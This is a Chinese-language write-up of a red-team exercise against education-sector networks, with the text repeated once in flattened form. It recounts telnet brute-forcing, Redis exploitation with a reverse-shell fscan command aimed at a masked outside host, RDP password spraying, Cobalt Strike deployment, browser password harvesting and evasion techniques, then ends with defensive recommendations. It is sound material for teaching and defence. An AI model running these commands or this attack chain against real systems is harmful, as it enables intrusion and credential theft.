记一次EDU攻防演练
字数 1656 2025-08-06 23:10:31

EDU攻防演练技术总结与教学文档

0x00 背景与概述

本次EDU攻防演练是一次针对教育行业的网络安全实战演练，主要特点包括：

  • 目标系统多为教育行业网络
  • 部分目标系统与前期演练有重合
  • 目标资产中大量视频监控系统
  • 采用混战模式，队伍间竞争

0x01 信息收集阶段

1.1 初始信息收集

  • 使用fscan进行快速资产识别
  • 发现内网地址泄露（记录备用）
  • 使用超级弱口令检测工具扫描

1.2 突破口发现

  • 通过telnet爆破获取H3C设备管理员权限
  • 设备功能分析：
    • 具备SSL VPN功能
    • 有授权许可
    • 可用于内网穿透

1.3 设备配置尝试

  • 尝试通过命令行配置SSL VPN失败（设备过老）
  • Web界面配置尝试失败
  • 确认设备型号并查找手册

1.4 网络拓扑探测

  • 通过设备路由表确认2、3、5、6网段
  • telnet探测各网段特征：
    • 2网段：服务器
    • 3网段：未知
    • 5网段：服务器+无线AP

0x02 突破口获取

2.1 无线AP利用

  • 获取5网段无线AP权限
  • 可用命令：ifconfig、ps -aux
  • 受限命令：其他命令被屏蔽
  • Web界面功能有限

2.2 替代方案实施

  • 探测内网脆弱端口：22、1433、3389、6379、7001
  • 采用NAT端口映射策略：
    1. 在路由器上探测内网端口
    2. 发现开放端口后建立NAT映射
    3. 通过公网访问映射端口

2.3 Redis未授权访问利用

  • 发现6379端口Redis服务
  • 确认未授权访问漏洞
  • 使用fscan进行利用： 
    fscan_amd64.exe -h *.*.*.* -p 6379 -rs *.*.*.*:1234
  • 通过计划任务获取反弹shell

0x03 内网横向移动

3.1 初始立足点巩固

  • 使用fscan进行内网扫描： 
    fscan_amd64.exe -h *.*.*.*/16 -pa 3389 -pwd ***** -np
  • 成功爆破两台机器RDP密码

3.2 权限提升与信息收集

  • 部署向日葵RCE（仅一台成功）
  • PowerShell上线Cobalt Strike
  • 收集信息：
    • 文件系统敏感信息
    • 浏览器保存密码
    • 管理员IP（通过日志分析）
    • 数据库账号

3.3 网络设备控制

  • 通过浏览器保存密码访问上网行为管理后台
  • 使用相同密码成功登录8台交换机
  • 确认网络设备分数上限2000分

3.4 移动终端发现

  • 使用kscan扫描发现移动终端设备
  • 通过ADB连接约60台设备
  • 确认物联网设备分数上限

0x04 技术总结与反思

4.1 成功经验

  1. 多工具组合使用（fscan、超级弱口令检测、kscan）
  2. 灵活调整策略（从SSL VPN转向端口映射）
  3. 坚持探测最终发现Redis漏洞
  4. 密码复用策略有效（交换机控制）

4.2 不足与改进

  1. 外网信息收集可更全面
  2. 团队协作需加强（目标选择、信息同步）
  3. 内网横向能力待提升
  4. 免杀和AV绕过技术需加强
  5. 时间管理需优化（避免在单一突破点耗时过长）

4.3 关键建议

  1. 外网打点：信息收集要宽泛仔细
  2. 团队协作：及时沟通，共享思路
  3. 灵活应变：单一方法受阻时及时调整策略
  4. 工具准备：提前准备好各类扫描、爆破工具
  5. 日志分析：重视系统日志中的管理员活动记录

0x05 工具与技术清单

5.1 使用工具

  • fscan：综合扫描工具
  • 超级弱口令检测工具：弱口令爆破
  • kscan：端口和服务识别
  • Cobalt Strike：C2框架
  • 向日葵RCE：远程控制利用
  • ADB：移动设备连接

5.2 利用漏洞类型

  1. 弱口令/Telnet爆破
  2. Redis未授权访问
  3. 向日葵RCE
  4. 密码复用漏洞
  5. 内网服务暴露（NAT映射）

5.3 防御规避技术

  • NAT映射隐藏真实攻击路径
  • 计划任务持久化
  • PowerShell内存加载

0x06 防御建议

6.1 针对EDU系统的防护

  1. 网络设备：

    • 禁用默认/弱密码
    • 关闭不必要的Telnet服务
    • 及时更新老旧设备

  2. 服务器：

    • Redis等服务配置认证
    • 关闭不必要的端口
    • 限制管理接口访问

  3. 终端设备：

    • 更改默认ADB配置
    • 更新远程管理软件补丁

6.2 安全监控建议

  1. 异常登录检测（尤其是Telnet/RDP）
  2. Redis等服务的未授权访问尝试
  3. 内网到外网的异常连接
  4. 计划任务异常创建

6.3 安全加固措施

  1. 网络分段隔离
  2. 密码策略强化
  3. 最小权限原则
  4. 定期漏洞扫描与修复
EDU攻防演练技术总结与教学文档 0x00 背景与概述 本次EDU攻防演练是一次针对教育行业的网络安全实战演练，主要特点包括： 目标系统多为教育行业网络 部分目标系统与前期演练有重合 目标资产中大量视频监控系统 采用混战模式，队伍间竞争 0x01 信息收集阶段 1.1 初始信息收集 使用fscan进行快速资产识别 发现内网地址泄露（记录备用） 使用超级弱口令检测工具扫描 1.2 突破口发现 通过telnet爆破获取H3C设备管理员权限 设备功能分析： 具备SSL VPN功能 有授权许可 可用于内网穿透 1.3 设备配置尝试 尝试通过命令行配置SSL VPN失败（设备过老） Web界面配置尝试失败 确认设备型号并查找手册 1.4 网络拓扑探测 通过设备路由表确认2、3、5、6网段 telnet探测各网段特征： 2网段：服务器 3网段：未知 5网段：服务器+无线AP 0x02 突破口获取 2.1 无线AP利用 获取5网段无线AP权限 可用命令：ifconfig、ps -aux 受限命令：其他命令被屏蔽 Web界面功能有限 2.2 替代方案实施 探测内网脆弱端口：22、1433、3389、6379、7001 采用NAT端口映射策略： 在路由器上探测内网端口 发现开放端口后建立NAT映射 通过公网访问映射端口 2.3 Redis未授权访问利用 发现6379端口Redis服务 确认未授权访问漏洞 使用fscan进行利用： 通过计划任务获取反弹shell 0x03 内网横向移动 3.1 初始立足点巩固 使用fscan进行内网扫描： 成功爆破两台机器RDP密码 3.2 权限提升与信息收集 部署向日葵RCE（仅一台成功） PowerShell上线Cobalt Strike 收集信息： 文件系统敏感信息 浏览器保存密码 管理员IP（通过日志分析） 数据库账号 3.3 网络设备控制 通过浏览器保存密码访问上网行为管理后台 使用相同密码成功登录8台交换机 确认网络设备分数上限2000分 3.4 移动终端发现 使用kscan扫描发现移动终端设备 通过ADB连接约60台设备 确认物联网设备分数上限 0x04 技术总结与反思 4.1 成功经验 多工具组合使用（fscan、超级弱口令检测、kscan） 灵活调整策略（从SSL VPN转向端口映射） 坚持探测最终发现Redis漏洞 密码复用策略有效（交换机控制） 4.2 不足与改进 外网信息收集可更全面 团队协作需加强（目标选择、信息同步） 内网横向能力待提升 免杀和AV绕过技术需加强 时间管理需优化（避免在单一突破点耗时过长） 4.3 关键建议 外网打点 ：信息收集要宽泛仔细 团队协作 ：及时沟通，共享思路 灵活应变 ：单一方法受阻时及时调整策略 工具准备 ：提前准备好各类扫描、爆破工具 日志分析 ：重视系统日志中的管理员活动记录 0x05 工具与技术清单 5.1 使用工具 fscan：综合扫描工具 超级弱口令检测工具：弱口令爆破 kscan：端口和服务识别 Cobalt Strike：C2框架 向日葵RCE：远程控制利用 ADB：移动设备连接 5.2 利用漏洞类型 弱口令/Telnet爆破 Redis未授权访问 向日葵RCE 密码复用漏洞 内网服务暴露（NAT映射） 5.3 防御规避技术 NAT映射隐藏真实攻击路径 计划任务持久化 PowerShell内存加载 0x06 防御建议 6.1 针对EDU系统的防护 网络设备： 禁用默认/弱密码 关闭不必要的Telnet服务 及时更新老旧设备 服务器： Redis等服务配置认证 关闭不必要的端口 限制管理接口访问 终端设备： 更改默认ADB配置 更新远程管理软件补丁 6.2 安全监控建议 异常登录检测（尤其是Telnet/RDP） Redis等服务的未授权访问尝试 内网到外网的异常连接 计划任务异常创建 6.3 安全加固措施 网络分段隔离 密码策略强化 最小权限原则 定期漏洞扫描与修复